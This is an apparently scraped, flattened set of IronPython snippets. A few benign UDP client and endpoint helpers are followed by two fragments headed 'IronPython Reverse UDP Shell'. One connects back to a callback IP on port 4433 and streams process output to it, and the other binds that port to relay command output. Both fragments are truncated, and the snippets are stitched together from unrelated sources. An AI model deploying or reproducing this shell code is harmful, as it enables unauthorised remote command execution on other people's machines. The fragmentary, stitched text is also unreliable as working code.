def __init__(self, ip, port): self.ClientType = ClientType self.ID = "UDP Client" self.ConnectionAddress = ip + ":" + port # Connect upon creation self._Endpoint = IPEndPoint(IPAddress.Parse(ip), int(port)) self._Connected = False self.Connect()
def _start_pcus(self): print("Starting PCU's") sleep(0.5 * len(self.PcuCollection)) for pcu in self.PcuCollection: ip_address = IPAddress.Parse(self._server_address) ip_endpoint = IPEndPoint(ip_address, self._server_port) # pcu.PropertyChanged += self._property_changed pcu.Connect(ip_endpoint) print("PCU Started, SN: " + str(pcu.DeviceOptions.Serial)) sleep(2)
def _make_endpoint(): return IPEndPoint(IPAddress.Any, 0)
def _address_to_endpoint(address): host, port = address ip = gethostbyname(host) return IPEndPoint(IPAddress.Parse(ip), port)
################################################## ## IronPython Reverse UDP Shell ################################################## ## Author: daddycocoaman ################################################## from System.Diagnostics import Process, DataReceivedEventHandler, DataReceivedEventArgs from System.IO import IOException from System.Net import IPEndPoint, IPAddress from System.Net.Sockets import UdpClient from System.Text import Encoding #Set callback IP/Port IP = "" PORT = 4433 ep = IPEndPoint(IPAddress.Parse(IP), PORT) #Set Timeout in milliseconds. 0 is infinite RCV_TIMEOUT = 0 def CmdOutputDataHandler(process, outline): if not outline.Data: bytesOut = Encoding.ASCII.GetBytes(" \r\n") client.Send(bytesOut, bytesOut.Length) else: bytesOut = Encoding.ASCII.GetBytes(outline.Data + "\r\n") client.Send(bytesOut, bytesOut.Length) #Connect to listener client = UdpClient(IP, PORT)
## Author: daddycocoaman ################################################## from System.Diagnostics import Process, DataReceivedEventHandler, DataReceivedEventArgs from System.Runtime.InteropServices import DllImportAttribute, PreserveSigAttribute, Marshal from System.Text import Encoding from System.Net.Sockets import UdpClient from System.IO import IOException from System.Net import IPEndPoint, IPAddress #Set callback IP/Port. Set to IPAddress.Any for global bind #If specifying address, comment out next line and replace with IP.Address.Parse line IP = IPAddress.Any #IP = IPAddress.Parse("127.0.0.1") PORT = 4433 local = IPEndPoint(IP, PORT) #Set Timeout in milliseconds. 0 is infinite SND_TIMEOUT = 0 server = UdpClient(local) server.Client.SendTimeout = SND_TIMEOUT remote = IPEndPoint(IPAddress.Any, 0) conn = server.Receive(remote)[1] def CmdOutputDataHandler(process, outline): if not outline.Data: bytesOut = Encoding.ASCII.GetBytes(" \r\n") server.Send(bytesOut, bytesOut.Length, conn) else: bytesOut = Encoding.ASCII.GetBytes(outline.Data + "\r\n")